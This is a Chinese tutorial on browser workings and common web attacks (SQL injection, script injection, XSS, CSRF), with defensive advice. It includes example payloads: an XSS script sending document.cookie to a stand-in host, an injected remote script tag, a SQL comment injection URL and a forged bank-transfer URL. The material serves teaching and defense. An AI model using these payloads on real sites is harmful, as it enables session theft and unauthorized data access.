浏览器工作原理
当你打开一个个设计漂亮、简洁大方的网页,有没有想过浏览器是如何展现这么一个网页的呢。当你在这些网页上输入你的淘宝账号登录购买东西的时候,有没有想过,你的账号密码、身份证号、手机号、真实姓名,这些信息会不会泄露,被黑客利用呢?在了解网络安全方面的知识之前我们先简单了解下浏览器的工作原理,以辅助我们更好的理解网络安全知识。
浏览器分类
现代浏览器从内核上来说,主要分为以下6大类:
1.Trident内核,代表是IE
2.EDGE内核,代表是微软的Edge浏览器
3.Gecko内核,代表是Firefox
4.WebKit内核,代表是Safari和Chrome
5.Blink内核,代表是最新的Chrome
6.Presto内核,代表是Opera
其中Trident、Gecko、Webkit、Presto已在市场存在多年。但是浏览器技术发展很是迅猛。随着微软最新浏览器Edge的诞生,采用Trident内核被诟病多年的IE浏览器终于要逐渐退出浏览器舞台了。而Blink是Google Chrome浏览器采用的新内核,由此,Google似乎也要和Webkit阵营分道扬镳,Opera也宣称要紧抱Blink的大腿,一场看不见硝烟的战争似乎又在酝酿。不过这里不再过多讨论。有兴趣的朋友可以关注下浏览器内核发展的最新动向。但不论浏览器怎么发展变化,浏览器的组成和浏览器加载网页的原理都是大同小异,不会有太大变化的。下图是浏览器的主要组成模块:
浏览器加载顺序
当我们在浏览器地址栏输入一个网址(比如:http://cloudcare.cn), 点击回车后,浏览器是如何加载网页的呢?
•DNS Lookup
首先,点击回车后,浏览器是无法识别cloudcare.cn是什么的,它也不知道你要访问的cloudcare.cn这个网站放在哪里。这个时候,就需要有人告诉浏览器,你应该去哪台服务器访问这个网站。这个“人”就是DNS(Domain Name System,域名系统),我们从图中看下DNS工作原理。
假如本地配置的DNS服务地址是223.5.5.5
大致步骤是这样的:
1.浏览器发送cloudcare.cn寻址请求给DNS服务器
2.DNS服务返回数据告诉本地电脑cloudcare.cn的服务器地址是10.0.0.1
3.本地电脑缓存DNS数据,并发送cloudcare.cn访问请求给10.0.0.1这个服务器
4.服务器和本地电脑建立TCP连接,进行数据交互。
注:关于DNS缓存和路由寻址,大家有兴趣可以Google
•TCP连接和HTTP
当TCP连接建立后,就可以进行数据传输了。而数据的传输是要满足HTTP协议的(分为1.0和1.1两个版本),包含有连接、消息、请求、响应等一系列规定。
一个页面的加载少则数个HTTP请求,多则几十个甚至上百个HTTP请求。一个HTTP的请求头大概是这个样子的:
注:关于DNS缓存和路由寻址,大家有兴趣可以Google
•TCP连接和HTTP
当TCP连接建立后,就可以进行数据传输了。而数据的传输是要满足HTTP协议的(分为1.0和1.1两个版本),包含有连接、消息、请求、响应等一系列规定。
一个页面的加载少则数个HTTP请求,多则几十个甚至上百个HTTP请求。一个HTTP的请求头大概是这个样子的:
一个HTTP响应后的头大概是这个样子的:
我们常说的200、404、500就是相应的状态码了。
而我们最关心的可能就是HTTP 的响应Body了, 一个简单的相应body类似是这个样子的
是不是很熟悉?这就是我们预先编辑好的HTML页面代码。
当我们拿到这么一个页面代码后,浏览器是怎么渲染成一个功能丰富,简洁漂亮网页的呢?我们先看下HTML的代码结构
•HTML代码结构
一个完整的HTML代码,应该包含html, head, body 这三个标签
<html> <head> </head> <body> </body> </html>
其中head标签定义文档的头部,可以引用脚本,指示样式表,提供原信息等。这里定义的东西不会真正展现在页面。
Body标签下面定义了页面需要展示的元素和布局。关于HTML大家可以自行搜索。
接下来,我们看下浏览器的渲染过程
•HTML页面渲染过程
假如cloudcare.cn的首页是这样的:
当浏览器从服务器第一次拿到页面数据时候,就是上面这个样子,我们称之为基础文档(document),浏览器会把这个基础文档转化为称之DOM树的结构化对象存储在内存里面,然后根据这个DOM树,进行渲染,转化为浏览器可视化的东西。
在渲染的时候,浏览器会从上到下依次渲染DOM树,当发现有外链的资源或是脚本的时候(如:上图link、script、img标签),会异步发起外链资源HTTP请求。同时解析继续。
如果你的网络环境不好,网速很慢的话,可能会看到这样一个现象:
1.网页先呈现“Hello world” 字样
2.然后图片逐渐加载出来
3.如果样式表里面定义了类似 div {color: red;} 的样式。当样式表加载完后,”Hello world”字样会突然变成红色字体。
•Cookies
HTTP协议里面定义了Cookies的操作。Cookies的中文名称作“小型文本文件”,它以域名为隔离空间存储在浏览器所在电脑的本地磁盘上。他有两个重要的特点:
1.不能跨域访问(子级域名除外),例如,在cloudcare.cn域名下无法访问 baidu.com域名下面的cookies。
2.每次的HTTP请求都会在请求头里面自动带上cookies发送到后端服务器。
关于浏览器的具体工作原理,这里有一篇文章讲解的非常的详细:http://taligarsiel.com/Projects/howbrowserswork1.htm
常见WEB攻击
互联网是个面向全世界的开放平台,越是开放的东西漏洞就越是多。有人曾维护了一个列表,上面有上百种的WEB攻击方式。我们常见的有:脚本注入、SQL注入、DDoS、DNS劫持、端口漏洞扫描、密码暴力破解、XSS、CSRF等。这里只挑一些常见的攻击做个介绍:
•SQL注入
现在的网站很多都不再是纯粹的静态网站,例如一些CMS网站、交易网站、p2p/p2c网站、大型的系统等。 这些网站都选择PHP、.Net、 Java、 ROR、 Python、NodeJS等编程语言搭建网站的后台,也会选择Mysql、 Oracle、SQL Server等数据库来存储数据。SQL注入就是针对的这样的网站发起的攻击。假如有一个列表页面,请求URL是这样的:https://xxx.xxx/list.php?q=finished
通过这个url可以获取这个用户列表下面所有已经完成的订单。那么我们可以猜想这样的页面后端对应的程序是这样写的:$sql = ‘select * from orders where status=\’’ . status. ‘\’ and userId = \‘’ . userId;
语句本身没有什么问题,后面加上了过滤条件userId只能获取这个用户自己的订单。可是,如果我们这样发起请求:https://xxx.xxx/list.php?q=finished‘–
最终拼接后的语句可能就变成了这个样子:select * from orders where status=‘finished’—and userId=’xxxx’;
由于“—”在数据库里面起到的注释作用,所以“and userId=’xxxx’” 这个过滤条件是不会起作用的。这个语句执行的效果就是黑客获取了这个网站所有已经完成的订单数据。
这里只是举一个简单的例子,关于Sql注入,有兴趣的朋友可以google一把。
防范sql注入其实也很简单:
1.做好参数检验。
2.sql传参的地方一定要做sql escape,对sql敏感字符进行转义。
3.不要直接拼接字符串。
•脚本注入
脚本注入只是个表现形式,例如你的网页中出现了一段莫名的脚本:<script src=”http://hacker.test/hack.js”></script>,这就是一个典型的脚本注入。但是注入的方式就有很多了,有的是直接获取了服务器的权限,修改了网页;有的是利用Sql注入技术注入了脚本;还有的是利用网页交互漏洞注入的脚本。甚至有人开发出了脚本注入漏洞扫描和Sql漏洞注入扫描自动机扫描互联网上的网站漏洞。
利用脚本注入这样的方式,黑客可以做很多很多事情:挂马,修改页面内容,将客户跳转到指定的网站,流量导入,信息收集等。
•XSS跨站脚本攻击
严格来说XSS应该属于脚本注入的一种方式,只是因为XSS这种方式可以快速轻易的注入脚本而使得它非常流行。举个简单的例子:
有一个网站支持评论和回复,有人在评论框内输入了这么一段脚本:
<script> var i = document.createElement(‘img’); i.setAttribute(‘src’, ‘http://attach.com/x.js?c=’+document.cookie); document.body.appendChild(i); </script>
提交后,当别人打开这个页面查看这个评论的时候,攻击的网站就获取到了这个人所有cookie信息(包括session id),然后在通过脚本加载cookie后进行所有被攻击者所具有权限的操作。
防范脚本注入和XSS攻击我们应该做到基本工作是:
1.服务器只开放必要的端口:如80、443、22等
2.参数校验
3.页面提交的内容一定要做HTML Escape 转义
4.URL上提交的内容要做URL Encode 转义
5.登录注册入口做好人机识别(验证码等)
•CSRF跨站请求伪造
很多人对XSS和CSRF是傻傻分不清楚的。首先常见的XSS攻击的对象是网站本身,通过注入网页的方式,获取用户信息。而CSRF就非常聪明了,直接绕过了注入这一步,甚至黑客不需要获取用户的Cookie信息,直奔主题。
CSRF攻击方式早几年并不为大家所熟知,实际上很多网站都存在CSRF的安全漏洞。早在2000年,CSRF这种攻击方式已经由国外的安全人员提出,但在国内,直到2006年才开始被关注。2008年,国内外多个大型社区和交互网站先后爆出CSRF漏洞,如:百度HI、NYTimes.com(纽约时报)、Metafilter(一个大型的BLOG网站)和YouTube等。但直到现在,互联网上的许多站点仍对此毫无防备,以至于安全业界称CSRF为“沉睡的巨人”,其威胁程度由此“美誉”便可见一斑。
那么,我们先来看一下CSRF的攻击原理吧:
如果图中的流程看的不是太明白,那么我们来看一个例子(摘抄自网络):
受害者 Bob 在银行有一笔存款,通过对银行的网站发送请求: http://bank.example/withdraw?account=bob&amount=1000000&for=bob2可以使 Bob 把 1000000 的存款转到 bob2 的账号下。通常情况下,该请求发送到网站后,服务器会先验证该请求是否来自一个合法的 session,并且该session 的用户 Bob 已经成功登陆。
黑客 Mallory 自己在该银行也有账户,他知道上文中的 URL 可以把钱进行转帐操作。Mallory 可以自己发送一个请求给银行: http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory但是这个请求来自 Mallory 而非 Bob,他不能通过安全认证,因此该请求不会起作用。这时,Mallory 想到使用 CSRF 的攻击方式,他先自己做一个网站,在网站中放入如下代码:src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory”,并且通过广告等诱使 Bob 来访问他的网站。当 Bob 访问该网站时,上述 url 就会从 Bob 的浏览器发向银行,而这个请求会附带 Bob 浏览器中的 cookie 一起发向银行服务器。
大多数情况下,该请求会失败,因为他要求 Bob 的认证信息。但是,如果 Bob 当时恰巧刚访问他的银行后不久,他的浏览器与银行网站之间的 session 尚未过期,浏览器的cookie 之中含有 Bob 的认证信息。这时,悲剧发生了,这个 url 请求就会得到响应,钱将从 Bob 的账号转移到 Mallory 的账号,而 Bob 当时毫不知情。等以后 Bob 发现账户钱少了,即使他去银行查询日志,他也只能发现确实有一个来自于他本人的合法请求转移了资金,没有任何被攻击的痕迹。而 Mallory 则可以拿到钱后逍遥法外。
目前业界服务器端防御CSRF攻击主要有以下几种策略:
1.验证HTTP Referer字段
2.正确使用GET
3.在请求地址中添加token并验证
4.在HTTP头中自定义属性并验证。
5.表单伪随机数
•验证HTTPReferer字段
Referer 是HTTP协议定义的一个头字段,它记录了该HTTP请求的来源地址。通过Referer就可以简单的区分出这次请求是来自哪里,并做到基本的防范。
但Referer毕竟是由请求者发起的,如果你用的是IE6浏览器(鄙视下IE),依然是可以伪造的。
•正确使用GET
GET常用在查看,列举,展示等不需要改变资源属性的时候。因为GET方式参数是直接呈现在url中的,很方便,但也很不安全。所以不要以GET方式开放不安全的接口。
•在请求地址中添加token并验证
在正确使用GET 的前提下,对于非GET请求,如POST,可以用在创建、修改、删除资源或者做其他一些相对敏感的事情。而且需要为每一个用户生成一个唯一的Token存放在Cookie或LocalStorage里面,并附带在Post请求中。但是由于XSS可以轻易的获取用户的Cookie或Local Storage,这种方式也不是十分的安全。
•在HTTP头中自定义属性并验证
这种方法也是使用 token 并进行验证,和上一种方法不同的是,这里并不是把 token 以参数的形式置于 HTTP 请求之中,而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类,可以一次性给所有该类请求加上csrftoken这个 HTTP 头属性,并把 token 值放入其中。而且,通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏,也不用担心token 会透过 Referer 泄露到其他网站中去。
•表单伪随机数
不同的表单包含一个不同的伪随机值。这种做法,其实在一些知名的开源WEB框架里面早就有了,如:PHP的Drupal,Python的Flask,只是国人安全意思太薄弱,太后知后觉了。伪随机数的原理也很简单:
1.当页面表单生成的时候由后端服务生成伪随机数放置在表单的隐藏域里面,并在后端缓存伪随机数。
2.表单提交的时候后端服务器验证伪随机数的正确性和时效性,删除缓存的伪随机数。
这样做不仅可以避免CSRF攻击,同时可以避免表单的重复提交。
浏览器工作原理和常见WEB攻击 (上)
https://bbs.aliyun.com/read/285939.html
浏览器工作原理和常见WEB攻击 (下)
https://bbs.aliyun.com/read/286071.html